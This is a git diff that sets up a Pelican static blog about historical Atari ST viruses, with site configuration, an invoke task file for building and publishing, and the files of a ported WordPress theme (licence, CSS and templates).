fine. And to start I tried to find resources on the Atari ST viruses and in fact, except the pretty interesting [STNEWS diskmag UVK book](https://st-news.com/uvk-book/the-book/part-i-the-uvk-book/history-of-viruses-on-atari-tos-computers) from Richard Karsmakers, there is very little resources, some introductions in magazines but that's mostly all. + +So this blog may be not be totally useless after all! + + + diff --git a/pelicanconf.py b/pelicanconf.py new file mode 100644 index 0000000..9c9b6cb --- /dev/null +++ b/pelicanconf.py @@ -0,0 +1,38 @@ +AUTHOR = "shazz" +SITENAME = "Retrovirology" +SITEURL = "" +THEME = "themes/Peli-Kiera" +THEME = "themes/pelican-chunk" + +PLUGIN_PATHS = ["pelican-plugins"] +PLUGINS = ["readtime", "neighbors"] + +PATH = "content" + +TIMEZONE = "America/New_York" + +DEFAULT_LANG = "English" + +# Feed generation is usually not desired when developing +FEED_ALL_ATOM = None +CATEGORY_FEED_ATOM = None +TRANSLATION_FEED_ATOM = None +AUTHOR_FEED_ATOM = None +AUTHOR_FEED_RSS = None + +# Blogroll +LINKS = ( + ("UVK Book", "https://st-news.com/uvk-book"), + ("Metacodes", "https://www.metacodes.pro/blog/computer_archeology_exploring_the_anatomy_of_an_ms_dos_virus/"), +) + +# Social widget +SOCIAL = ( + ("You can add links in your config file", "#"), + ("Another social link", "#"), +) + +DEFAULT_PAGINATION = 10 + +# Uncomment following line if you want document-relative URLs when developing +# RELATIVE_URLS = True diff --git a/publishconf.py b/publishconf.py new file mode 100644 index 0000000..84364b0 --- /dev/null +++ b/publishconf.py @@ -0,0 +1,22 @@ +# This file is only used if you use `make publish` or +# explicitly specify it as your config file. + +import os +import sys + +sys.path.append(os.curdir) +from pelicanconf import * + +# If your site is available via HTTPS, make sure SITEURL begins with https:// +SITEURL = "https://shazz.github.io" +RELATIVE_URLS = False + +FEED_ALL_ATOM = "feeds/all.atom.xml" +CATEGORY_FEED_ATOM = "feeds/{slug}.atom.xml" + +DELETE_OUTPUT_DIRECTORY = True + +# Following items are often useful when publishing + +# DISQUS_SITENAME = "" +# GOOGLE_ANALYTICS = "" \ No newline at end of file diff --git a/tasks.py b/tasks.py new file mode 100644 index 0000000..25e711f --- /dev/null +++ b/tasks.py @@ -0,0 +1,159 @@ +import os +import shlex +import shutil +import sys +import datetime + +from invoke import task +from invoke.main import program +from invoke.util import cd +from pelican import main as pelican_main +from pelican.server import ComplexHTTPRequestHandler, RootedHTTPServer +from pelican.settings import DEFAULT_CONFIG, get_settings_from_file + +OPEN_BROWSER_ON_SERVE = True +SETTINGS_FILE_BASE = "pelicanconf.py" +SETTINGS = {} +SETTINGS.update(DEFAULT_CONFIG) +LOCAL_SETTINGS = get_settings_from_file(SETTINGS_FILE_BASE) +SETTINGS.update(LOCAL_SETTINGS) + +CONFIG = { + "settings_base": SETTINGS_FILE_BASE, + "settings_publish": "publishconf.py", + # Output path. Can be absolute or relative to tasks.py. Default: 'output' + "deploy_path": SETTINGS["OUTPUT_PATH"], + # Github Pages configuration + "github_pages_branch": "gh-pages", + "commit_message": f"'Publish site on {datetime.date.today().isoformat()}'", + # Host and port for `serve` + "host": "localhost", + "port": 8000, +} + + +@task +def clean(c): + """Remove generated files""" + if os.path.isdir(CONFIG["deploy_path"]): + shutil.rmtree(CONFIG["deploy_path"]) + os.makedirs(CONFIG["deploy_path"]) + + +@task +def build(c): + """Build local version of site""" + pelican_run("-s {settings_base}".format(**CONFIG)) + + +@task +def rebuild(c): + """`build` with the delete switch""" + pelican_run("-d -s {settings_base}".format(**CONFIG)) + + +@task +def regenerate(c): + """Automatically regenerate site upon file modification""" + pelican_run("-r -s {settings_base}".format(**CONFIG)) + + +@task +def serve(c): + """Serve site at http://$HOST:$PORT/ (default is localhost:8000)""" + + class AddressReuseTCPServer(RootedHTTPServer): + allow_reuse_address = True + + server = AddressReuseTCPServer( + CONFIG["deploy_path"], + (CONFIG["host"], CONFIG["port"]), + ComplexHTTPRequestHandler, + ) + + if OPEN_BROWSER_ON_SERVE: + # Open site in default browser + import webbrowser + + webbrowser.open("http://{host}:{port}".format(**CONFIG)) + + sys.stderr.write("Serving at {host}:{port} ...\n".format(**CONFIG)) + server.serve_forever() + + +@task +def reserve(c): + """`build`, then `serve`""" + build(c) + serve(c) + + +@task +def preview(c): + """Build production version of site""" + pelican_run("-s {settings_publish}".format(**CONFIG)) + +@task +def livereload(c): + """Automatically reload browser tab upon file modification.""" + from livereload import Server + + def cached_build(): + cmd = "-s {settings_base} -e CACHE_CONTENT=true LOAD_CONTENT_CACHE=true" + pelican_run(cmd.format(**CONFIG)) + + cached_build() + server = Server() + theme_path = SETTINGS["THEME"] + watched_globs = [ + CONFIG["settings_base"], + f"{theme_path}/templates/**/*.html", + ] + + content_file_extensions = [".md", ".rst"] + for extension in content_file_extensions: + content_glob = "{}/**/*{}".format(SETTINGS["PATH"], extension) + watched_globs.append(content_glob) + + static_file_extensions = [".css", ".js"] + for extension in static_file_extensions: + static_file_glob = f"{theme_path}/static/**/*{extension}" + watched_globs.append(static_file_glob) + + for glob in watched_globs: + server.watch(glob, cached_build) + + if OPEN_BROWSER_ON_SERVE: + # Open site in default browser + import webbrowser + + webbrowser.open("http://{host}:{port}".format(**CONFIG)) + + server.serve(host=CONFIG["host"], port=CONFIG["port"], root=CONFIG["deploy_path"]) + + +@task +def publish(c): + """Publish to production via rsync""" + pelican_run("-s {settings_publish}".format(**CONFIG)) + c.run( + 'rsync --delete --exclude ".DS_Store" -pthrvz -c ' + '-e "ssh -p {ssh_port}" ' + "{} {ssh_user}@{ssh_host}:{ssh_path}".format( + CONFIG["deploy_path"].rstrip("/") + "/", **CONFIG + ) + ) + +@task +def gh_pages(c): + """Publish to GitHub Pages""" + preview(c) + c.run( + "ghp-import -b {github_pages_branch} " + "-m {commit_message} " + "{deploy_path} -p".format(**CONFIG) + ) + +def pelican_run(cmd): + cmd += " " + program.core.remainder # allows to pass-through args to pelican + pelican_main(shlex.split(cmd)) \ No newline at end of file diff --git a/themes/pelican-chunk/README.md b/themes/pelican-chunk/README.md new file mode 100644 index 0000000..33db763 --- /dev/null +++ b/themes/pelican-chunk/README.md @@ -0,0 +1,21 @@ +# Chunk for Pelican +This is a "faithful as possible" translation of Chunk-wpcom v1.0 for Pelican 3. My goal is to make it near indistinguishable from the original. + +For enhancements, bug tracking, and requests please check my [github repo](https://github.com/tbunnyman/pelican-chunk) + +## Settings used by this theme (All Optional) +* `DEFAULT_DATE_FORMAT = ('%b %d %Y')` : suggested date format +* `SITESUBTITLE = 'String'` +* `FOOTER_TEXT = 'Replace pelican credit'` +* `DISPLAY_CATEGORIES_ON_MENU = True/False` +* `LINKS = (('Site', 'http://url.com'), ('Site 2', 'http://another.url.com'))` +* `SINGLE_AUTHOR = True/False` +* `MINT = True/False` +* `GOOGLE_ANALYTICS = 'Put your google code here'` + +## Authors +* [Tran (thisistran) on Twitter](http://twitter.com/#!/thisistran) (Original Wordpress) +* [tBunnyMan](http://bunnyman.info) (Pelican v1.0) + +## Licence +Modified and released under the GNU General Public License, full details in `LICENSE.txt` file. \ No newline at end of file diff --git a/themes/pelican-chunk/license.txt b/themes/pelican-chunk/license.txt new file mode 100644 index 0000000..d31195a --- /dev/null +++ b/themes/pelican-chunk/license.txt @@ -0,0 +1,281 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110, USA + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. 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IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + diff --git a/themes/pelican-chunk/screenshot.png b/themes/pelican-chunk/screenshot.png new file mode 100644 index 0000000..d22e714 Binary files /dev/null and b/themes/pelican-chunk/screenshot.png differ diff --git a/themes/pelican-chunk/static/back.jpg b/themes/pelican-chunk/static/back.jpg new file mode 100644 index 0000000..ccabbed Binary files /dev/null and b/themes/pelican-chunk/static/back.jpg differ diff --git a/themes/pelican-chunk/static/back2.jpg b/themes/pelican-chunk/static/back2.jpg new file mode 100644 index 0000000..991ea87 Binary files /dev/null and b/themes/pelican-chunk/static/back2.jpg differ diff --git a/themes/pelican-chunk/static/css/pygment.css b/themes/pelican-chunk/static/css/pygment.css new file mode 100644 index 0000000..a1de805 --- /dev/null +++ b/themes/pelican-chunk/static/css/pygment.css @@ -0,0 +1,212 @@ +.codehilite pre { + display: block; + padding: .5em; + background: rgba(253,251,228,0.64); + color: #657b83; +} + +.hll { +background-color:#FFFFCC; +} +.c { +color:#408090; +font-style:italic; +} +.err { +border:1px solid #FF0000; +} +.k { +color:#007020; +font-weight:bold; +} +.o { +color:#666666; +} +.cm { +color:#408090; +font-style:italic; +} +.cp { +color:#007020; +} +.c1 { +color:#408090; +font-style:italic; +} +.cs { +background-color:#FFF0F0; +color:#408090; +} +.gd { +color:#A00000; +} +.ge { +font-style:italic; +} +.gr { +color:#FF0000; +} +.gh { +color:#000080; +font-weight:bold; +} +.gi { +color:#00A000; +} +.go { +color:#303030; +} +.gp { +color:#C65D09; +font-weight:bold; +} +.gs { +font-weight:bold; +} +.gu { +color:#800080; +font-weight:bold; +} +.gt { +color:#0040D0; +} +.kc { +color:#007020; +font-weight:bold; +} +.kd { +color:#007020; +font-weight:bold; +} +.kn { +color:#007020; +font-weight:bold; +} +.kp { +color:#007020; +} +.kr { +color:#007020; +font-weight:bold; +} +.kt { +color:#902000; +} +.m { +color:#208050; +} +.s { +color:#4070A0; +} +.na { +color:#4070A0; +} +.nb { +color:#007020; +} +.nc { +color:#0E84B5; +font-weight:bold; +} +.no { +color:#60ADD5; +} +.nd { +color:#555555; +font-weight:bold; +} +.ni { +color:#D55537; +font-weight:bold; +} +.ne { +color:#007020; +} +.nf { +color:#06287E; +} +.nl { +color:#002070; +font-weight:bold; +} +.nn { +color:#0E84B5; +font-weight:bold; +} +.nt { +color:#062873; +font-weight:bold; +} +.nv { +color:#BB60D5; +} +.ow { +color:#007020; +font-weight:bold; +} +.w { +color:#BBBBBB; +} +.mf { +color:#208050; +} +.mh { +color:#208050; +} +.mi { +color:#208050; +} +.mo { +color:#208050; +} +.sb { +color:#4070A0; +} +.sc { +color:#4070A0; +} +.sd { +color:#4070A0; +font-style:italic; +} +.s2 { +color:#4070A0; +} +.se { +color:#4070A0; +font-weight:bold; +} +.sh { +color:#4070A0; +} +.si { +color:#70A0D0; +font-style:italic; +} +.sx { +color:#C65D09; +} +.sr { +color:#235388; +} +.s1 { +color:#4070A0; +} +.ss { +color:#517918; +} +.bp { +color:#007020; +} +.vc { +color:#BB60D5; +} +.vg { +color:#BB60D5; +} +.vi { +color:#BB60D5; +} +.il { +color:#208050; +} diff --git a/themes/pelican-chunk/static/css/rtl.css b/themes/pelican-chunk/static/css/rtl.css new file mode 100644 index 0000000..d228688 --- /dev/null +++ b/themes/pelican-chunk/static/css/rtl.css @@ -0,0 +1,119 @@ +/* =RTL +----------------------------------------------- */ +#contents { + border-left: none; + border-right: 1px solid #ccc; + margin-left: 0; + margin-right: 199px; +} + + +/* =Menu +----------------------------------------------- */ +#menu { + text-align: left; +} +#menu ul { + padding-right: 0; +} +#menu li { + float: left; +} +#menu ul ul { + float: left; + position: absolute; + left: 0; + right: auto; +} +#menu ul ul ul { + left: 100%; + right: auto; +} +#menu ul ul a { + padding: .8em 1em .8em .5em; +} + +/* =Content +----------------------------------------------- */ +.hentry .main { + padding: 29px 15px 15px 5px; + text-align: right; +} +.hentry .entry-meta { + float: right; + margin: 26px -199px 0 0; + text-align: left; +} +.entry-title { + margin: 5px 0px 15px 0px; + text-align: right; +} +blockquote { + border-left: none; + border-right: 10px solid #36bcab; + text-align: justify; +} +.tag-links strong { + margin-left: 4px; + margin-right: none; +} +.entry-content table { + text-align: right; +} + + +/* =Post Formats +-------------------------------------------------------------- */ + +/* Link */ +.format-link .entry-title:after { + padding-right: 10px; +} + + +/* =Comments +----------------------------------------------- */ +#comments { + text-align: right; +} +.commentlist { + margin-left: 0; + margin-right: 40px; + padding-right: 0; +} +.commentlist li { + padding-left: 10px; + padding-right: 10px; +} +.comment .comment-meta { + left: 0; + right: auto; +} +.comment img.avatar { + left: auto; + right: -40px; +} +#comments .bypostauthor > .comment-body .comment-meta { + left: 15px; + right: auto; +} + + +/* =Widgets +----------------------------------------------- */ +#widgets { + text-align: right; +} +#widgets .widget { + float: right; +} +#widgets .widget:nth-child(3n+1) { + clear: right; +} +.widget ul { + padding-right: 20px; +} +/* Authors Widget */ +.widget_authors ul { + padding-right: 0; +} \ No newline at end of file diff --git a/themes/pelican-chunk/static/css/style.css b/themes/pelican-chunk/static/css/style.css new file mode 100644 index 0000000..d17ad3a --- /dev/null +++ b/themes/pelican-chunk/static/css/style.css @@ -0,0 +1,821 @@ +/* +Theme Name: Chunk +Theme URI: http://theme.wordpress.com/themes/chunk/ +Author: Automattic +Author URI: http://automattic.com +Description: A straightforward theme with bold typography designed by Tran N. Featuring multiple post formats, custom background, custom menu, and custom header. Also comes with an optional footer widget area. +Version: 1.0-wpcom +License: GNU General Public License +License URI: license.txt +Tags: light, white, fixed-width, one-column, custom-background, custom-header, custom-menu, post-formats, rtl-language-support, sticky-post, translation-ready, art, blog, cartoon, holiday, journal, lifestream, photography, tumblelog, bright, clean, contemporary, flamboyant, modern +*/ + +@import url("pygment.css"); + +/* =Base +----------------------------------------------- */ +body { + background-color: #fff; + background-image: -moz-linear-gradient( rgba(0,0,0,0.22), rgba(255,255,255,0) 80px ); + background-image: -webkit-linear-gradient( rgba(0,0,0,0.22), rgba(255,255,255,0) 80px ); + color: #555; + font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; + font-size: 13px; + margin: 0; + text-align: center; +} +#container { + height: auto; + margin: 0 0; + width: 100%; +} +#header { + min-height: 180px; + padding-top: 70px; + width: 100%; +} +#contents { + border-left: 1px solid #ccc; + height: auto; + margin-left: 199px; + padding-bottom: 10px; +} + + +/* =Header +----------------------------------------------- */ +#site-title { + color: #000; + font-family: 'Oswald', Helvetica, Arial, sans-serif; + font-weight: bold; + font-size: 80px; + margin: 0px; + text-transform: uppercase; + text-rendering: optimizeLegibility; + text-align: left; +} +#site-title a { + color: #000; + letter-spacing: 1px; + text-decoration: none; +} +#site-title a:hover { + color: #36bcab; +} +#site-description { + background: #f1f1f1; + background-image: -webkit-linear-gradient( #f8f8f8, #eee); + background-image: -moz-linear-gradient( #f8f8f8, #eee); + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 14px; + font-weight: 300; + margin-top: 0; + margin-bottom: 50px; + padding: 6px 10px; +} +#menu #header-image a { + margin: 0; + padding: 0; +} + +/* =Menu +----------------------------------------------- */ +#menu { + border-bottom: 1px solid #ddd; + border-top: 1px solid #ddd; + margin-bottom: 25px; + padding: 10px; + text-align: right; + width: 800px; +} +#menu img { + margin-bottom: 10px; +} +#menu a { + color: #666; + font-family: 'Oswald', Helvetica, Arial, sans-serif; + font-size: 18px; + margin: 0 10px; + padding: 4px 0; + text-decoration: none; + text-transform: uppercase; +} +#menu a:hover { + color: #000; +} +#menu ul { + list-style: none; + margin: 0; + padding-left: 0; +} +#menu li { + float: right; + position: relative; +} +#access a { + color: #888; + display: block; + + text-decoration: none; +} +#menu ul ul { + display: none; + float: right; + position: absolute; + right: 0; + top: 2em; + z-index: 99999; +} +#menu ul ul ul { + right: 100%; + top: 0; +} +#menu ul ul a { + background: #e9e9e9; + border-bottom: 1px solid #e1e1e1; + display: block; + font-size: 14px; + height: auto; + line-height: 1em; + margin: 0; + padding: .8em .5em .8em 1em; + width: 130px; +} +#menu ul ul li:last-of-type a { + border-bottom: none; +} +#menu li:hover > a, +#menu ul ul :hover > a { + color: #444; +} +#menu ul ul a:hover { + background: #f0f0f0; +} +#menu ul li:hover > ul { + display: block; +} +#menu ul li.current_page_item > a, +#menu ul li.current_page_ancestor > a, +#menu ul li.current-menu-item > a { + color: #111; +} +#menu ul:after { + clear: both; + content: ' '; + display: block; +} + +/* =Content +----------------------------------------------- */ +.hentry { + height: auto; + clear: both; + position: relative; +} +.hentry:after { + clear: both; + content: "."; + display: block; + height: 0; + visibility: hidden; +} +.hentry .main { + border-bottom: 1px dashed #ddd; + float: left; + line-height: 175%; + padding: 29px 5px 15px 15px; + text-align: left; + width: 580px; +} +.hentry .entry-meta { + font-family: 'Oswald', Helvetica, Arial, sans-serif; + font-size: 25px; + float: left; + margin: 35px 0 0 -199px; + padding: 0px; + text-align: right; + text-transform: uppercase; + width: 190px; +} +.hentry .entry-meta a { + text-decoration: none; +} +.hentry .entry-meta div { + margin: 10px; +} +.hentry .entry-meta .date { + color: #000; + font-weight: bold; + margin: 0px; +} +.hentry .entry-meta .comments { + color: #36bcab; + display: block; + font-size: 16px; + margin: -4px 0 0; +} +.hentry .entry-meta .comments a { + color: #36bcab; + font-size: 22px; + font-weight: bold; + text-decoration: none; +} +.hentry .entry-meta .cat-links { + color: #aaa; + font-size: 16px; + line-height: 20px; + margin-top: 10px; +} +.hentry .entry-meta .cat-links a { + color: #777; +} +.hentry .entry-meta .cat-links a:hover { + color: #36bcab; +} +.hentry .entry-meta .edit-link a { + font-size: 16px; +} +.hentry div.margin { + margin: 10px; +} +.entry-title { + color: #666; + font-family: 'Oswald', Helvetica, Arial, sans-serif; + font-size: 25px; + line-height: 38px; + margin: 5px 0px 15px 0px; + text-align: left; + text-decoration: none; + text-transform: uppercase; +} +.entry-title a { + color: #666; + text-decoration: none; +} +.entry-meta .byline { + color: #aaa; + font-size: 16px; + line-height: 20px; + margin-top: 10px; +} +.entry-meta .byline a { + color: #777; +} +.single-author .entry-meta .byline { + display: none; +} +blockquote { + background: #eee; + border-left: 10px solid #36bcab; + color: #000; + font-family: Georgia, Arial, Helvetica, sans-serif; + font-size: 15px; + padding: 10px; + text-align: justify; +} +a { + color: #000; + text-decoration: underline; +} +a:hover { + color: #36bcab; +} +.entry-content a img { + border: 10px solid #ddd; +} +.entry-content a:hover img { + border: 10px solid #000; +} +b, strong { + color: #000; +} +.cat-links, +.tag-links { + display: block; +} +.tag-links strong { + background: #eee; + border-radius: 3px; + color: #666; + font-weight: normal; + margin-right: 4px; + padding: 3px 6px; +} +.entry-content table { + margin: 0 0 20px 0; + text-align: left; + width: 100%; +} +.entry-content tr th, +.entry-content thead th { + color: #888; + font-weight: normal; + line-height: 20px; + padding: 9px 24px; +} +.entry-content tr td { + padding: 6px 24px; +} +.entry-content tr.alternate td { + background: #f5f5f5; +} +.page-link a { + background: #36bcab; + border-radius: 26px; + color: #000; + font-weight: normal; + display: inline-block; + line-height: 26px; + margin: 0 0 1em; + text-align: center; + text-decoration: none; + width: 26px; +} +.page-link a:hover { + color: #fff; + text-decoration: none; +} +.page-title h2 { + background: #333; + border-radius: 3px; + color: #eee; + display: inline-block; + font-weight: normal; + margin: 0 0 20px; + padding: 3px 14px; +} +.navigation { + margin: 10px 0; +} +.navigation div { + display: inline; + margin: 0 5px; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; +} +.alignright { + display: inline; + float: right; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* General */ +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} + +/* Sticky */ +.sticky .main { + background: #eee; +} +.sticky .date { + display: none; +} +.sticky .entry-meta .comments { + margin-top: 2px; +} + +/* Page */ +.page .entry-meta .comments { + margin-top: 2px; +} + + +/* =Post Formats +-------------------------------------------------------------- */ + +/* Aside */ +.format-aside .entry-title { + display: none; +} +.format-aside .entry-content p:first-child { + margin-top: 0; +} +/* Link */ +.format-link .entry-title:after { + content: "\2192"; + font-size: 26px; + padding-left: 10px; + text-decoration: none; +} +/* Quote */ +.format-quote blockquote { + font-size: 16px; +} +.format-quote blockquote p:last-child { + margin-bottom: 0; +} +/* Chat */ +.format-chat .entry-title { + display: none; +} +.format-chat .entry-content p { + margin: 0.5em 0; +} +.format-chat .entry-content p:nth-child(odd) { + font-weight: bold; +} + + +/* =Images +-------------------------------------------------------------- */ +a img { + border: none; +} +p img { + margin-bottom: 0.5em; /* a small bottom margin prevents content floating under images */ +} +/* +Resize images to fit the main content area. +- Applies only to images uploaded via WordPress by targeting size-* classes. +- Other images will be left alone. Use "size-auto" class to apply to other images. +*/ +img.size-auto, +img.size-full, +img.size-large, +img.size-medium, +.attachment img, +.widget-area img { + max-width: 100%; /* When images are too wide for containing element, force them to fit. */ + height: auto; /* Override height to match resized width for correct aspect ratio. */ +} +img.alignleft { + margin-right: 1em; +} +img.alignright { + margin-left: 1em; +} +.wp-caption { + background: #eee; + border-radius: 3px; + margin-bottom: 10px; + max-width: 100%; + padding: .8em; + text-align: center; +} +.wp-caption img { + margin: 0; +} +.wp-caption a img, +.wp-caption a:hover img { + border: none; +} +.wp-caption .wp-caption-text { + color: #666; + font-size: 12px; + margin: .5em; +} +.gallery-caption { + color: #666; +} +.wp-smiley { + margin: 0; +} +.attachment .hentry .entry-meta .navigation { + margin: 10px 0 0; +} +.attachment .navigation img { + border: 5px solid #ddd; +} +.attachment .navigation a:hover img { + border-color: #000; +} + + +/* =Comments +----------------------------------------------- */ +#comments { + clear: both; + margin: 20px 0; + padding: 15px; + text-align: left; + width: 600px; +} +article.comment { + display: block; +} +#comments #comments-title { + background: #555; + border-radius: 3px; + color: #eee; + color: rgba(255,255,255,0.7); + display: block; + font-size: 20px; + font-weight: normal; + padding: 5px 20px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.1); +} +#comments #comments-title em { + color: #fff; + font-style: normal; + text-shadow: 0 -1px 0 rgba(0,0,0,0.4); +} +.commentlist { + margin-left: 40px; + padding-left: 0; +} +.commentlist .comment, +.commentlist .reblog { + list-style-type: none; + margin: 40px 0; + padding-left: 10px; +} +.comment { + position: relative; +} +.comment .comment-author cite { + font-style: normal; + font-weight: bold; +} +.comment .comment-meta { + font-size: 11px; + position: absolute; + right: 0; + top: 5px; +} +.comment .comment-meta a { + color: #666; +} +.comment p, +.reblog p { + color: #555; + font-size: 14px; + line-height: 20px; +} +.comment img.avatar { + border: 1px solid #ccc; + border-radius: 5px; + left: -40px; + position: absolute; +} +#comments .bypostauthor > .comment-body { + background: #eee; + border-radius: 3px; + color: #000; + margin: 1em 0 3em; + padding: 15px; + position: relative; +} +#comments .bypostauthor > .comment-body .comment-meta { + right: 15px; + top: 18px; +} +/* Reblogs */ +.commentlist .reblog .comment-meta, +.commentlist .reblog .comment-author { + display: none; +} +.commentlist .reblog p:first-of-type a { + font-weight: bold; +} +.comment .reply a, +.reblog .reply a, +.trackback .reply a, +.pingback .reply a { + background: #eee; + border: 1px solid #ddd; + border-radius: 3px; + color: #555; + font-size: 13px; + padding: 3px 8px; + text-decoration: none; +} +.comment .reply a:hover, +.reblog .reply a:hover, +.trackback .reply a:hover, +.pingback .reply a:hover { + background: #ddd; + border-color: #ccc; + text-decoration: none; +} +#respond #reply-title { + font-size: 26px; + margin-bottom: 0; +} +#respond .comment-notes { + color: #555; + font-size: 13px; + margin-top: 5px; +} +#respond input[type=text], +#respond textarea { + border: 1px solid #ccc; + border-radius: 3px; + margin: 6px 0; + padding: 8px; +} +#respond input[type=text] { + display: block; + width: 60%; +} +#respond textarea { + display: block; + margin-bottom: 1em; + width: 80%; +} +#respond label { + background: #36bcab; + border-radius: 3px; + color: #c8f1ec; + font-size: 13px; + padding: 3px 5px; +} +#respond .form-allowed-tags { + display: none; +} +#respond input[type=submit] { + font-size: 18px; +} + + +/* =Widgets +----------------------------------------------- */ +#widgets { + border-top: 1px solid #ccc; + margin: 30px 0 0 0; + padding: 30px 0 0 0; + text-align: left; +} +.widget-title { + color: #555; + font-family: 'Oswald', Helvetica, Arial, sans-serif; + font-size: 16px; + margin: 0 0 12px 0; + text-transform: uppercase; +} +.widget-title a { + color: #000; + text-decoration: none; +} +#widgets .widget-area { + width: 100%; +} +#widgets .widget { + float: left; + padding: 12px; + width: 30%; +} +.widget { + font-size: 12px; + line-height: 20px; + margin: 0 0 30px 0; +} +#widgets .widget:nth-child(3n+1) { + clear: left; +} +.widget ul { + margin: 0; + padding-left: 20px; +} +/* Calendar Widget */ +.widget_calendar #wp-calendar { + color: #555; + text-align: center; + width: 100%; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + color: #000; + font-size: 16px; + font-weight: bold; + padding: 0 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + border-bottom: 1px solid #ccc; + border-top: 1px solid #ccc; + color: #000; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + border-bottom: 1px solid #ccc; + border-top: 1px solid #ccc; +} +/* Recent Comments Widget */ +.widget_recent_comments .avatar { + max-width: none; +} +.widget_recent_comments td.recentcommentstexttop, +.widget_recent_comments td.recentcommentstextend { + vertical-align: top; +} +.widget_recent_comments td.recentcommentstextend { + line-height: 1.1em; +} +/* Authors Widget */ +.widget_authors ul { + list-style-type: none; + padding-left: 0; +} +.widget_authors img { + vertical-align: middle; +} +.widget_authors img + strong { + font-weight: normal; + margin-left: 8px; +} +.widget_authors a:hover { + text-decoration: none; +} +/* Flickr Widget (WP.com) */ +#flickr_badge_uber_wrapper a { + color: #eb374b !important; + text-decoration: underline !important; +} +#flickr_badge_uber_wrapper a:hover{ + color: #05b2c2 !important; +} +.widget_flickr #flickr_badge_wrapper { + background-color: transparent !important; + border: none !important; +} +.widget_flickr table { + margin: 0 !important; +} +.widget_flickr .flickr-size-thumbnail { + margin: 0 auto; +} +.widget_flickr .flickr-size-thumbnail br, +.widget_flickr .flickr-size-small br { + display: none; +} +.widget_flickr .flickr-size-thumbnail img { + display: block; + margin-bottom: 10px; +} +.widget_flickr .flickr-size-small img { + display: block; + margin-bottom: 10px; + max-width: 100%; +} +/* Authors Widget */ +.widget_author_grid ul, +.widget_authors ul { + list-style: none; + margin: 0; +} +/* Twitter Widget */ +.widget .tweets li { + margin: 0 0 10px 0; +} + /* Cloud Widgets */ +.wp_widget_tag_cloud div, +.widget_tag_cloud div { + word-wrap: break-word; +} + /* RSS Widgets */ +.widget_rss li { + margin: 0 0 10px 0; +} +.widget_rss_links p img { + margin-bottom: 0; + vertical-align: middle; +} + + +/* =Footer +----------------------------------------------- */ +#footer { + border-top: 1px solid #ddd; + clear: both; + color: #555; + font-size: 11px; + font-weight: bold; + height: auto; + margin: 50px 0 30px; + padding-top: 25px; + text-align: center; + width: 800px; +} +#footer a { + color: #36bcab; + text-decoration: none; +} + + +/* =WP.com +----------------------------------------------- */ +.sharedaddy { + clear: both; +} \ No newline at end of file diff --git a/themes/pelican-chunk/static/favicon-32x32.png b/themes/pelican-chunk/static/favicon-32x32.png new file mode 100644 index 0000000..74fd5da Binary files /dev/null and b/themes/pelican-chunk/static/favicon-32x32.png differ diff --git a/themes/pelican-chunk/templates/archives.html b/themes/pelican-chunk/templates/archives.html new file mode 100644 index 0000000..9693133 --- /dev/null +++ b/themes/pelican-chunk/templates/archives.html @@ -0,0 +1,21 @@ +{% extends "base.html" %} +{% block title %}{{ SITENAME }} — Archives{% endblock %} +{% block content_title %} +
+

Archives for {{ SITENAME }} …

+
+{% endblock %} +{% block content %} +
+
+
+
+ {% for article in dates %} +
{{ article.locale_date }}
+
{{ article.title }}
+ {% endfor %} +
+
+
+
+{% endblock %} \ No newline at end of file diff --git a/themes/pelican-chunk/templates/article.html b/themes/pelican-chunk/templates/article.html new file mode 100644 index 0000000..bac973a --- /dev/null +++ b/themes/pelican-chunk/templates/article.html @@ -0,0 +1,27 @@ +{% extends "base.html" %} +{% block title %}{{ SITENAME }} — {{ article.title|striptags }}{% endblock %} +{% block content %} + +{% include 'post.html' %} + +{% if DISQUS_SITENAME %} +
+
+
+ + + comments powered by Disqus +
+
+{% endif %} + +{% endblock %} \ No newline at end of file diff --git a/themes/pelican-chunk/templates/author.html b/themes/pelican-chunk/templates/author.html new file mode 100644 index 0000000..b30d739 --- /dev/null +++ b/themes/pelican-chunk/templates/author.html @@ -0,0 +1,6 @@ +{% extends "index.html" %} + +{% block title %}{{ SITENAME }} — Articles by {{ author|striptags }}{% endblock %} +{% block content_title %} +

Posted by {{ author }} …

+{% endblock %} diff --git a/themes/pelican-chunk/templates/base.html b/themes/pelican-chunk/templates/base.html new file mode 100644 index 0000000..b71d3f0 --- /dev/null +++ b/themes/pelican-chunk/templates/base.html @@ -0,0 +1,103 @@ + + + + + {% block head %} + {% block title %}{{ SITENAME }}{% endblock title %} + + + + + + + + {% if FEED_RSS %} + + {% endif %} + + {% if MINT %} + + {% endif %} + {% endblock head %} + + + +
+ + + + +
+ {% block content_title %}{% endblock %} +
+ +
+ {% block content %} + {% endblock %} +
+ + +
+
